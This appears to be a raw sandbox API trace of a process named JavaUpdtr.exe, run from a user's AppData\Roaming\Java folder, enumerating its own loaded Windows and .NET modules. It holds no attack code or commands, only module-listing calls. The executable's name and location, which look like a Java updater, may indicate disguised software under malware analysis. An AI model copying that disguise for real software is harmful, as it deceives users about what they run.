[0116.029] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.029] GetLastError () returned 0x7f [0116.030] CloseHandle (hObject=0x200) returned 1 [0116.030] GetLastError () returned 0x7f [0116.051] GetCurrentProcessId () returned 0x4e8 [0116.051] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x200 [0116.051] GetLastError () returned 0x7f [0116.051] EnumProcessModules (in: hProcess=0x200, lphModule=0x26f4134, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x26f4134, lpcbNeeded=0x31c9a8) returned 1 [0116.052] GetLastError () returned 0x7f [0116.052] GetModuleInformation (in: hProcess=0x200, hModule=0xd40000, lpmodinfo=0x26f4274, cb=0xc | out: lpmodinfo=0x26f4274*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.052] GetLastError () returned 0x7f [0116.052] GetModuleBaseNameW (in: hProcess=0x200, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.052] GetLastError () returned 0x7f [0116.052] GetModuleFileNameExW (in: hProcess=0x200, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.052] GetLastError () returned 0x7f [0116.052] GetModuleInformation (in: hProcess=0x200, hModule=0x77ac0000, lpmodinfo=0x26f53d8, cb=0xc | out: lpmodinfo=0x26f53d8*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.053] GetLastError () returned 0x7f [0116.053] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.053] GetLastError () returned 0x7f [0116.053] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.053] GetLastError () returned 0x7f [0116.053] GetModuleInformation (in: hProcess=0x200, hModule=0x73cc0000, lpmodinfo=0x26f64cc, cb=0xc | out: lpmodinfo=0x26f64cc*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.053] GetLastError () returned 0x7f [0116.053] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.053] GetLastError () returned 0x7f [0116.054] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.054] GetLastError () returned 0x7f [0116.054] GetModuleInformation (in: hProcess=0x200, hModule=0x75930000, lpmodinfo=0x26f75c8, cb=0xc | out: lpmodinfo=0x26f75c8*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.054] GetLastError () returned 0x7f [0116.054] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.054] GetLastError () returned 0x7f [0116.054] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.054] GetLastError () returned 0x7f [0116.054] GetModuleInformation (in: hProcess=0x200, hModule=0x77670000, lpmodinfo=0x26f86cc, cb=0xc | out: lpmodinfo=0x26f86cc*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.055] GetLastError () returned 0x7f [0116.055] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.055] GetLastError () returned 0x7f [0116.055] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.055] GetLastError () returned 0x7f [0116.055] GetModuleInformation (in: hProcess=0x200, hModule=0x75db0000, lpmodinfo=0x26f9808, cb=0xc | out: lpmodinfo=0x26f9808*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.055] GetLastError () returned 0x7f [0116.055] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.056] GetLastError () returned 0x7f [0116.056] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.056] GetLastError () returned 0x7f [0116.056] GetModuleInformation (in: hProcess=0x200, hModule=0x76d40000, lpmodinfo=0x26fa90c, cb=0xc | out: lpmodinfo=0x26fa90c*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.056] GetLastError () returned 0x7f [0116.056] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.056] GetLastError () returned 0x7f [0116.057] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.057] GetLastError () returned 0x7f [0116.057] GetModuleInformation (in: hProcess=0x200, hModule=0x76ec0000, lpmodinfo=0x26fba08, cb=0xc | out: lpmodinfo=0x26fba08*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.057] GetLastError () returned 0x7f [0116.057] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.057] GetLastError () returned 0x7f [0116.057] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.058] GetLastError () returned 0x7f [0116.058] GetModuleInformation (in: hProcess=0x200, hModule=0x75e50000, lpmodinfo=0x26fcb04, cb=0xc | out: lpmodinfo=0x26fcb04*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.058] GetLastError () returned 0x7f [0116.058] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.058] GetLastError () returned 0x7f [0116.059] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.059] GetLastError () returned 0x7f [0116.059] GetModuleInformation (in: hProcess=0x200, hModule=0x75620000, lpmodinfo=0x26fdc50, cb=0xc | out: lpmodinfo=0x26fdc50*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.059] GetLastError () returned 0x7f [0116.059] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.059] GetLastError () returned 0x7f [0116.060] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.060] GetLastError () returned 0x7f [0116.060] GetModuleInformation (in: hProcess=0x200, hModule=0x75610000, lpmodinfo=0x26fed4c, cb=0xc | out: lpmodinfo=0x26fed4c*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.060] GetLastError () returned 0x7f [0116.060] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.060] GetLastError () returned 0x7f [0116.060] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.061] GetLastError () returned 0x7f [0116.061] GetModuleInformation (in: hProcess=0x200, hModule=0x737a0000, lpmodinfo=0x26ffe50, cb=0xc | out: lpmodinfo=0x26ffe50*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.061] GetLastError () returned 0x7f [0116.061] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.061] GetLastError () returned 0x7f [0116.062] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.062] GetLastError () returned 0x7f [0116.062] GetModuleInformation (in: hProcess=0x200, hModule=0x75ba0000, lpmodinfo=0x2700f88, cb=0xc | out: lpmodinfo=0x2700f88*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.062] GetLastError () returned 0x7f [0116.062] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.062] GetLastError () returned 0x7f [0116.063] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.063] GetLastError () returned 0x7f [0116.063] GetModuleInformation (in: hProcess=0x200, hModule=0x75c40000, lpmodinfo=0x2702084, cb=0xc | out: lpmodinfo=0x2702084*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.063] GetLastError () returned 0x7f [0116.063] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.064] GetLastError () returned 0x7f [0116.064] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.064] GetLastError () returned 0x7f [0116.064] GetModuleInformation (in: hProcess=0x200, hModule=0x75a40000, lpmodinfo=0x2703178, cb=0xc | out: lpmodinfo=0x2703178*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.064] GetLastError () returned 0x7f [0116.064] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.065] GetLastError () returned 0x7f [0116.065] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.065] GetLastError () returned 0x7f [0116.065] GetModuleInformation (in: hProcess=0x200, hModule=0x75c00000, lpmodinfo=0x2704274, cb=0xc | out: lpmodinfo=0x2704274*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.066] GetLastError () returned 0x7f [0116.066] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.066] GetLastError () returned 0x7f [0116.066] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.066] GetLastError () returned 0x7f [0116.066] GetModuleInformation (in: hProcess=0x200, hModule=0x76ee0000, lpmodinfo=0x2705360, cb=0xc | out: lpmodinfo=0x2705360*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.067] GetLastError () returned 0x7f [0116.067] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.067] GetLastError () returned 0x7f [0116.067] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.068] GetLastError () returned 0x7f [0116.068] GetModuleInformation (in: hProcess=0x200, hModule=0x758d0000, lpmodinfo=0x27064e4, cb=0xc | out: lpmodinfo=0x27064e4*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.068] GetLastError () returned 0x7f [0116.068] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.068] GetLastError () returned 0x7f [0116.068] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.069] GetLastError () returned 0x7f [0116.069] GetModuleInformation (in: hProcess=0x200, hModule=0x76df0000, lpmodinfo=0x27075d8, cb=0xc | out: lpmodinfo=0x27075d8*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.069] GetLastError () returned 0x7f [0116.069] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.070] GetLastError () returned 0x7f [0116.070] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.070] GetLastError () returned 0x7f [0116.070] GetModuleInformation (in: hProcess=0x200, hModule=0x75430000, lpmodinfo=0x27086cc, cb=0xc | out: lpmodinfo=0x27086cc*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.071] GetLastError () returned 0x7f [0116.071] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.071] GetLastError () returned 0x7f [0116.071] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.071] GetLastError () returned 0x7f [0116.072] GetModuleInformation (in: hProcess=0x200, hModule=0x749d0000, lpmodinfo=0x27097c8, cb=0xc | out: lpmodinfo=0x27097c8*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.072] GetLastError () returned 0x7f [0116.072] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.072] GetLastError () returned 0x7f [0116.072] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.073] GetLastError () returned 0x7f [0116.073] GetModuleInformation (in: hProcess=0x200, hModule=0x75390000, lpmodinfo=0x270a900, cb=0xc | out: lpmodinfo=0x270a900*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.073] GetLastError () returned 0x7f [0116.073] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.074] GetLastError () returned 0x7f [0116.074] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.074] GetLastError () returned 0x7f [0116.074] GetModuleInformation (in: hProcess=0x200, hModule=0x75f40000, lpmodinfo=0x270ba94, cb=0xc | out: lpmodinfo=0x270ba94*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.075] GetLastError () returned 0x7f [0116.075] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.075] GetLastError () returned 0x7f [0116.075] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.076] GetLastError () returned 0x7f [0116.076] GetModuleInformation (in: hProcess=0x200, hModule=0x75770000, lpmodinfo=0x270cb90, cb=0xc | out: lpmodinfo=0x270cb90*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.076] GetLastError () returned 0x7f [0116.076] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.077] GetLastError () returned 0x7f [0116.077] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.077] GetLastError () returned 0x7f [0116.077] GetModuleInformation (in: hProcess=0x200, hModule=0x75290000, lpmodinfo=0x270dc84, cb=0xc | out: lpmodinfo=0x270dc84*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.078] GetLastError () returned 0x7f [0116.078] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.078] GetLastError () returned 0x7f [0116.078] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.079] GetLastError () returned 0x7f [0116.079] GetModuleInformation (in: hProcess=0x200, hModule=0x72ac0000, lpmodinfo=0x270ed80, cb=0xc | out: lpmodinfo=0x270ed80*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.079] GetLastError () returned 0x7f [0116.079] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.080] GetLastError () returned 0x7f [0116.080] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.080] GetLastError () returned 0x7f [0116.081] GetModuleInformation (in: hProcess=0x200, hModule=0x75440000, lpmodinfo=0x270ff18, cb=0xc | out: lpmodinfo=0x270ff18*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.081] GetLastError () returned 0x7f [0116.081] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.081] GetLastError () returned 0x7f [0116.082] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.082] GetLastError () returned 0x7f [0116.082] GetModuleInformation (in: hProcess=0x200, hModule=0x75230000, lpmodinfo=0x2711014, cb=0xc | out: lpmodinfo=0x2711014*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.083] GetLastError () returned 0x7f [0116.083] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.083] GetLastError () returned 0x7f [0116.083] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.084] GetLastError () returned 0x7f [0116.084] GetModuleInformation (in: hProcess=0x200, hModule=0x72320000, lpmodinfo=0x271214c, cb=0xc | out: lpmodinfo=0x271214c*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.084] GetLastError () returned 0x7f [0116.084] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.085] GetLastError () returned 0x7f [0116.085] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.085] GetLastError () returned 0x7f [0116.085] GetModuleInformation (in: hProcess=0x200, hModule=0x750a0000, lpmodinfo=0x27132d8, cb=0xc | out: lpmodinfo=0x27132d8*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.086] GetLastError () returned 0x7f [0116.086] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.086] GetLastError () returned 0x7f [0116.087] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.087] GetLastError () returned 0x7f [0116.087] GetModuleInformation (in: hProcess=0x200, hModule=0x74830000, lpmodinfo=0x2714494, cb=0xc | out: lpmodinfo=0x2714494*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.088] GetLastError () returned 0x7f [0116.088] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.088] GetLastError () returned 0x7f [0116.088] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.089] GetLastError () returned 0x7f [0116.089] GetModuleInformation (in: hProcess=0x200, hModule=0x746a0000, lpmodinfo=0x2715678, cb=0xc | out: lpmodinfo=0x2715678*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.090] GetLastError () returned 0x7f [0116.090] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.090] GetLastError () returned 0x7f [0116.090] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.091] GetLastError () returned 0x7f [0116.091] GetModuleInformation (in: hProcess=0x200, hModule=0x74fa0000, lpmodinfo=0x2716818, cb=0xc | out: lpmodinfo=0x2716818*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.092] GetLastError () returned 0x7f [0116.092] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.093] GetLastError () returned 0x7f [0116.093] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.094] GetLastError () returned 0x7f [0116.094] GetModuleInformation (in: hProcess=0x200, hModule=0x75700000, lpmodinfo=0x2717a3c, cb=0xc | out: lpmodinfo=0x2717a3c*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.094] GetLastError () returned 0x7f [0116.094] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.095] GetLastError () returned 0x7f [0116.095] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.096] GetLastError () returned 0x7f [0116.096] CloseHandle 